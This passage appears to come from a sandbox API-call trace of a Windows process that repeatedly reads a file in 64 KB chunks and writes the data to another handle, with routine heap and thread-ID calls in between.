(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.046] GetLastError () returned 0x0 [0194.047] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.051] GetLastError () returned 0x0 [0194.051] GetCurrentThreadId () returned 0x9b0 [0194.051] GetLastError () returned 0x0 [0194.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265598 | out: hHeap=0x2ad0000) returned 1 [0194.067] GetCurrentThreadId () returned 0x9b0 [0194.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.068] GetLastError () returned 0x0 [0194.068] GetLastError () returned 0x0 [0194.068] GetLastError () returned 0x0 [0194.068] GetLastError () returned 0x0 [0194.068] GetCurrentThreadId () returned 0x9b0 [0194.069] GetLastError () returned 0x0 [0194.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0194.069] GetLastError () returned 0x0 [0194.069] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.071] GetLastError () returned 0x0 [0194.071] GetCurrentThreadId () returned 0x9b0 [0194.072] GetLastError () returned 0x0 [0194.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.072] GetLastError () returned 0x0 [0194.072] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.072] GetLastError () returned 0x0 [0194.072] GetCurrentThreadId () returned 0x9b0 [0194.073] GetLastError () returned 0x0 [0194.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265558 | out: hHeap=0x2ad0000) returned 1 [0194.073] GetCurrentThreadId () returned 0x9b0 [0194.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.073] GetLastError () returned 0x0 [0194.074] GetLastError () returned 0x0 [0194.074] GetLastError () returned 0x0 [0194.074] GetLastError () returned 0x0 [0194.074] GetCurrentThreadId () returned 0x9b0 [0194.074] GetLastError () returned 0x0 [0194.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0194.075] GetLastError () returned 0x0 [0194.075] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.075] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.076] GetLastError () returned 0x0 [0194.076] GetCurrentThreadId () returned 0x9b0 [0194.076] GetLastError () returned 0x0 [0194.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.077] GetLastError () returned 0x0 [0194.077] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.078] GetLastError () returned 0x0 [0194.078] GetCurrentThreadId () returned 0x9b0 [0194.078] GetLastError () returned 0x0 [0194.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0194.079] GetCurrentThreadId () returned 0x9b0 [0194.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.079] GetLastError () returned 0x0 [0194.079] GetLastError () returned 0x0 [0194.080] GetLastError () returned 0x0 [0194.080] GetLastError () returned 0x0 [0194.080] GetCurrentThreadId () returned 0x9b0 [0194.080] GetLastError () returned 0x0 [0194.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0194.081] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.081] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.082] GetCurrentThreadId () returned 0x9b0 [0194.082] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.082] GetCurrentThreadId () returned 0x9b0 [0194.082] GetCurrentThreadId () returned 0x9b0 [0194.083] GetCurrentThreadId () returned 0x9b0 [0194.083] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.083] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.085] GetCurrentThreadId () returned 0x9b0 [0194.085] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.115] GetCurrentThreadId () returned 0x9b0 [0194.115] GetCurrentThreadId () returned 0x9b0 [0194.116] GetCurrentThreadId () returned 0x9b0 [0194.116] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.119] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.120] GetCurrentThreadId () returned 0x9b0 [0194.121] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.121] GetCurrentThreadId () returned 0x9b0 [0194.121] GetCurrentThreadId () returned 0x9b0 [0194.121] GetCurrentThreadId () returned 0x9b0 [0194.122] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.122] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.123] GetCurrentThreadId () returned 0x9b0 [0194.123] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.130] GetCurrentThreadId () returned 0x9b0 [0194.130] GetCurrentThreadId () returned 0x9b0 [0194.131] GetCurrentThreadId () returned 0x9b0 [0194.131] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.131] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.132] GetCurrentThreadId () returned 0x9b0 [0194.133] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.133] GetCurrentThreadId () returned 0x9b0 [0194.133] GetCurrentThreadId () returned 0x9b0 [0194.133] GetCurrentThreadId () returned 0x9b0 [0194.134] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.134] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.135] GetCurrentThreadId () returned 0x9b0 [0194.135] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.137] GetCurrentThreadId () returned 0x9b0 [0194.137] GetCurrentThreadId () returned 0x9b0 [0194.138] GetCurrentThreadId () returned 0x9b0 [0194.138] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.139] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.140] GetCurrentThreadId () returned 0x9b0 [0194.140] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.140] GetCurrentThreadId () returned 0x9b0 [0194.140] GetCurrentThreadId () returned 0x9b0 [0194.141] GetCurrentThreadId () returned 0x9b0 [0194.141] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.141] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.142] GetCurrentThreadId () returned 0x9b0 [0194.142] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.144] GetCurrentThreadId () returned 0x9b0 [0194.144] GetCurrentThreadId () returned 0x9b0 [0194.144] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.144] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.146] GetCurrentThreadId () returned 0x9b0 [0194.146] GetCurrentThreadId () returned 0x9b0 [0194.146] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.146] GetCurrentThreadId () returned 0x9b0 [0194.146] GetCurrentThreadId () returned 0x9b0 [0194.147] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.147] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.148] GetCurrentThreadId () returned 0x9b0 [0194.148] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.149] GetCurrentThreadId () returned 0x9b0 [0194.150] GetCurrentThreadId () returned 0x9b0 [0194.151] GetCurrentThreadId () returned 0x9b0 [0194.151] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.152] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.153] GetCurrentThreadId () returned 0x9b0 [0194.153] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.153] GetCurrentThreadId () returned 0x9b0 [0194.153] GetCurrentThreadId () returned 0x9b0 [0194.154] GetCurrentThreadId () returned 0x9b0 [0194.154] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.154] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.155] GetCurrentThreadId () returned 0x9b0 [0194.156] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.157] GetCurrentThreadId () returned 0x9b0 [0194.157] GetCurrentThreadId () returned 0x9b0 [0194.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.158] GetCurrentThreadId () returned 0x9b0 [0194.158] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.158] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.159] GetCurrentThreadId () returned 0x9b0 [0194.159] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.160] GetCurrentThreadId () returned 0x9b0 [0194.160] GetCurrentThreadId () returned 0x9b0 [0194.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.160] GetCurrentThreadId () returned 0x9b0 [0194.160] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.161] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.162] GetCurrentThreadId () returned 0x9b0 [0194.162] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.164] GetCurrentThreadId () returned 0x9b0 [0194.164] GetCurrentThreadId () returned 0x9b0 [0194.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.165] GetCurrentThreadId () returned 0x9b0 [0194.165] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.166] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.167] GetCurrentThreadId () returned 0x9b0 [0194.167] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.168] GetCurrentThreadId () returned 0x9b0 [0194.168] GetCurrentThreadId () returned 0x9b0 [0194.168] GetCurrentThreadId () returned 0x9b0 [0194.168] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.169] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.177] GetCurrentThreadId () returned 0x9b0 [0194.177] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.181] GetCurrentThreadId () returned 0x9b0 [0194.181] GetCurrentThreadId () returned 0x9b0 [0194.181] GetCurrentThreadId () returned 0x9b0 [0194.181] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.182] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.183] GetCurrentThreadId () returned 0x9b0 [0194.183] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.183] GetCurrentThreadId () returned 0x9b0 [0194.184] GetCurrentThreadId () returned 0x9b0 [0194.184] GetCurrentThreadId () returned 0x9b0 [0194.184] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.184] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.186] GetCurrentThreadId () returned 0x9b0 [0194.186] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.213] GetCurrentThreadId () returned 0x9b0 [0194.213] GetCurrentThreadId () returned 0x9b0 [0194.214] GetCurrentThreadId () returned 0x9b0 [0194.214] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.217] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.218] GetCurrentThreadId () returned 0x9b0 [0194.218] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.219] GetCurrentThreadId () returned 0x9b0 [0194.219] GetCurrentThreadId () returned 0x9b0 [0194.219] GetCurrentThreadId () returned 0x9b0 [0194.219] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.221] GetCurrentThreadId () returned 0x9b0 [0194.221] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.222] GetCurrentThreadId () returned 0x9b0 [0194.222] GetCurrentThreadId () returned 0x9b0 [0194.223] GetCurrentThreadId () returned 0x9b0 [0194.223] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.224] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.225] GetCurrentThreadId () returned 0x9b0 [0194.225] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.225] GetCurrentThreadId () returned 0x9b0 [0194.226] 